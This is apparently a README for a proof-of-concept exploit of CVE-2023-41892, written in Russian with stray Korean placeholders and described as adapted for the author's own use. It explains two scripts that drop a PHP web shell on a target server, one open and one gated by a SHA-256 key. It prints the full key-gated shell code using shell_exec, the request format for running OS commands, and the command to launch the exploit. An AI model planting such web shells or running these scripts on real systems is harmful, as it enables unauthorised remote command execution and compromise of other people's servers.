CVE-2023-41892_poc

Адаптировано для собственного использования

poc_noauth.py

• Базовый однострочный PHP-веб-шелл
• Выполнение OS-команд через ?cmd=<명령어>

poc_auth.py

• Веб-шелл с простой аутентификацией на основе ключа (сравнение SHA-256 хешей)
• Выполнение команд возможно только после ввода корректного ключа
• Требуется изменить код:
  • В переменной webshell внутри функции drop_payload замените YOUR_SECRET_KEY на SHA-256 хеш нужного ключа
• Использование:
  1. В webshell замените YOUR_SECRET_KEY на SHA-256 хеш ключа в открытом виде (plaintext)
  2. При запросе передавайте ключ в открытом виде (plaintext)
     root@kitploit:~

     {target}/shell.php?k=<평문키>&c=<명령어>
     

• Пример:
  1. Настройка: ключ в открытом виде (plaintext) = test1234
  2. Вычислите SHA256 хеш через cyberchef и т.п.: 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
     • echo -n test1234 | sha256sum
     • cyberchef и т.п.
  3. Измените код:
     root@kitploit:~

     webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""
     

Использование

python poc_noauth.py {타겟}